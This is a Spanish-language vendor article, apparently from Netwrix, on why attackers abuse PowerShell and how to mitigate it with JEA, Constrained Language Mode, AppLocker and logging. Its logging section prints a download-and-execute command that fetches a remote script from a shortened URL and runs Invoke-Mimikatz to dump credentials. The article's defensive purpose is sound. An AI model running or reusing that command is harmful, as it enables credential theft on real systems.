¿Por qué es PowerShell tan popular entre los atacantes?

¿Por qué PowerShell es una plataforma de ataque tan popular?

Entonces, ¿por qué tantos ciberdelincuentes utilizan PowerShell para lanzar sus ataques? Bueno, por una cosa, es gratis. Otras razones incluyen las siguientes:

• La mayoría de los usuarios empresariales tienen PowerShell habilitado en sus dispositivos endpoint de Windows.
• PowerShell utiliza un enfoque sin archivos que ejecuta comandos y scripts directamente en la memoria, lo que dificulta su detección.
• Puede acceder a casi cualquier dispositivo Windows iniciando una conexión remota.
• Los actores de amenazas pueden aprovechar PowerShell utilizando otras herramientas maliciosas como Empire, DeathStar y CrackMapExec.
• Hay multitudes de scripts disponibles en GitHub y otros lugares (como Invoke-Mimikatz) para que los atacantes los utilicen.

Una vez que un atacante obtiene acceso inicial en un entorno local, puede usar PowerShell para obtener visibilidad en su red y moverse lateralmente para acceder a sus datos más sensibles y otros recursos de TI.

Cómo reducir el riesgo de PowerShell

Debido a que PowerShell se utiliza en muchos tipos diferentes de ataques, es imperativo implementar medidas de protección para combatir su uso malicioso. Veamos algunas formas de reducir el riesgo de amenazas inducidas por PowerShell.

Restringir privilegios de administrador local

En la era de la red Zero Trust, los usuarios estándar no deberían tener derechos de administrador local en sus dispositivos a menos que sea necesario para su trabajo. Aunque negar los derechos de administrador local no restringe el acceso a PowerShell, sí limita lo que un usuario — o un adversario que haya comprometido su cuenta — puede hacer con PowerShell, ya que muchos comandos y scripts de PowerShell requieren privilegios elevados para funcionar. Además, negar los derechos de administrador local restringirá el acceso del usuario a carpetas sensibles y configuraciones del sistema.

Utilice el Modo de Lenguaje Restringido

Windows PowerShell admite varios modos de lenguaje que determinan qué partes de PowerShell se pueden utilizar. El modo Constrained Language se desarrolló para el sistema operativo Windows RT y luego se agregó a Windows PowerShell V5, que se utiliza en todos los sistemas operativos Windows modernos hoy en día.

Puede iniciar una sesión de PowerShell en modo de lenguaje completo, como se muestra a continuación:

Puede poner una sesión de PowerShell en modo de lenguaje restringido con el siguiente comando:

En el modo de lenguaje restringido, PowerShell está limitado a un conjunto reducido de comandos y scripts. La ejecución de comandos fuera de estas restricciones está bloqueada, como se muestra en el ejemplo a continuación:

El modo de lenguaje restringido también limita el acceso a ciertas características de PowerShell, como el uso de perfiles de PowerShell y la capacidad de cargar módulos adicionales de PowerShell. En conjunto, estas restricciones ayudan a prevenir que los hackers utilicen PowerShell para eludir las medidas de seguridad del sistema.

Lamentablemente, hay una debilidad evidente con esta medida de protección: Un usuario puede simplemente iniciar una nueva sesión de PowerShell, que por defecto se ejecutará en modo de Lenguaje Completo y tendrá acceso completo a las características de PowerShell.

Utilice PowerShell Just Enough Administration (JEA)

PowerShell Just Enough Administration permite aplicar un sistema basado en roles para tareas administrativas. Piense en JEA como el principio de menor privilegio para la seguridad de PowerShell. Cuando un usuario inicia una sesión de JEA, se le asigna una forma restringida de PowerShell que le permite realizar solo las tareas y comandos asociados con su rol. Esto evita que ejecuten comandos privilegiados que no necesitan.

Habilitar JEA es un proceso de varios pasos. El primer paso es crear un archivo de compatibilidad de roles, como se muestra a continuación:

A continuación, necesita editar el archivo .prsc y definir las capacidades específicas del rol, como permitir que se ejecuten comandos específicos por el usuario. Otros pasos incluyen la creación de un archivo de configuración de sesión y luego usar ese archivo para registrar un nuevo punto final JEA en el ordenador local.

Obtenga visibilidad de la actividad

Necesitas saber qué está sucediendo en tu entorno de TI. Una opción es utilizar el reenvío de eventos de Windows (WEF), una herramienta gratuita en el sistema operativo Windows que puede recopilar y centralizar los registros de eventos de sistemas distribuidos. Un enfoque de terceros sería una solución de seguridad de información y gestión de eventos (SIEM). Los SIEM pueden recopilar datos de una amplia colección de sistemas dispares y agregar esos datos para proporcionar una visión integral de lo que está ocurriendo en todo tu entorno.

También debería habilitar las transcripciones de PowerShell a nivel de sistema, lo que registrará toda la actividad de PowerShell en los sistemas designados para que los comandos ejecutados puedan ser revisados. Esto puede ser útil para auditorías e investigaciones forenses. Para habilitar las transcripciones de PowerShell a nivel de sistema, cree un objeto de Group Policy object (GPO), vaya a Configuración del equipo > Plantillas administrativas > Componentes de Windows > PowerShell y active Enable PowerShell Transcription como se muestra a continuación:

Utilice AppLocker para deshabilitar PowerShell y scripts

AppLocker se incluye con Windows 10 Enterprise y ofrece una forma útil de permitir aplicaciones y scripts en una lista blanca. Se puede configurar localmente en un sistema o a través de Directiva de grupo. Para usar Directiva de grupo, cree un GPO, vaya a Configuración del equipo > Configuración de Windows > Configuración de seguridad > Políticas de control de aplicaciones > AppLocker. Cree una regla ejecutable y seleccione Denegar como se muestra a continuación:

Puede bloquear aplicaciones por editor, ruta de archivo o hash de archivo. La política de ejemplo a continuación bloquea por hash de archivo y solo permite a los administradores locales ejecutar PowerShell; el acceso por cualquier otro usuario será bloqueado.

Luego puede distribuir la política utilizando Directiva de grupo o exportarla como un archivo XML e importarla en un MDM como Intune. El código XML para la política exportada se muestra a continuación:

      <AppLockerPolicy Version="1">

<RuleCollection Type="Exe" EnforcementMode="NotConfigured">

<FilePathRule Id="fd686d83-a829-4351-8ff4-27c7de5755d2" Name="(Default Rule) All files" Description="Allows members of the local Administrators group to run all applications." UserOrGroupSid="S-1-5-32-544" Action="Allow">

<Conditions>

<FilePathCondition Path="*" />

</Conditions>

</FilePathRule>

<FileHashRule Id="5d5ed1c5-a9db-4e46-8e88-80aade9dbb5c" Name="powershell.exe" Description="Block PowerShell" UserOrGroupSid="S-1-1-0" Action="Deny">

<Conditions>

<FileHashCondition>

<FileHash Type="SHA256" Data="0x68705285F7914823244E19E4F6DBC4A75C4DE807EA1CF128AEC2CCAFCE5FE109" SourceFileName="powershell.exe" SourceFileLength="448000" />

</FileHashCondition>

</Conditions>

</FileHashRule>

</RuleCollection>

<RuleCollection Type="Msi" EnforcementMode="NotConfigured" />

<RuleCollection Type="Script" EnforcementMode="NotConfigured" />

<RuleCollection Type="Dll" EnforcementMode="NotConfigured" />

<RuleCollection Type="Appx" EnforcementMode="NotConfigured" />

</AppLockerPolicy>
      

También puede asegurarse de que solo los archivos de una carpeta designada puedan ejecutarse utilizando políticas de Script Rules para crear una regla de permiso para una carpeta especificada mediante un simple script de PowerShell como este:

Detecte actividades maliciosas de PowerShell con el registro de bloques de script

PowerShell 5 introduce varias técnicas nuevas para rastrear scripts maliciosos de PowerShell. Una de ellas es el Script Block Logging. Este nivel de registro está activado por defecto con PowerShell 5 y proporciona un registro en texto claro del script completo ejecutado por PowerShell. Esto es útil porque muchos ataques de PowerShell aprovechan scripts codificados que son difíciles de descifrar.

Veamos una forma en que un atacante podría intentar ocultar sus scripts, utilizando un script como el siguiente que descargará y ejecutará Invoke-Mimikatz:

powershell “IEX (New-Object Net.WebClient).DownloadString(‘http://is.gd/oeoFuI’); Invoke-Mimikatz -DumpCreds”

Usando PowerSploit y Out-EncodedCommand, un adversario puede crear una versión codificada de este comando que es aún más ofuscada:

Sin embargo, los registros de eventos de PowerShell aún muestran exactamente lo que se ejecutó, sin ningún tipo de codificación:

Cómo Netwrix puede ayudar

Mientras las organizaciones pueden utilizar estas estrategias de mitigación y detección para monitorear y proteger contra scripts maliciosos, existen productos de terceros que simplifican el trabajo. Netwrix Endpoint Privilege Manager facilita la creación de listas de permitidos y denegados para bloquear automáticamente a los usuarios de ejecutar aplicaciones no deseadas, incluyendo PowerShell. Además, esta herramienta permite eliminar los derechos de administrador local mientras se habilita a los usuarios a realizar las tareas administrativas necesarias para una alta productividad.

PowerShell es una herramienta poderosa. Asegúrate de tomar las precauciones adecuadas para que los adversarios no puedan usarla en tu contra tan fácilmente.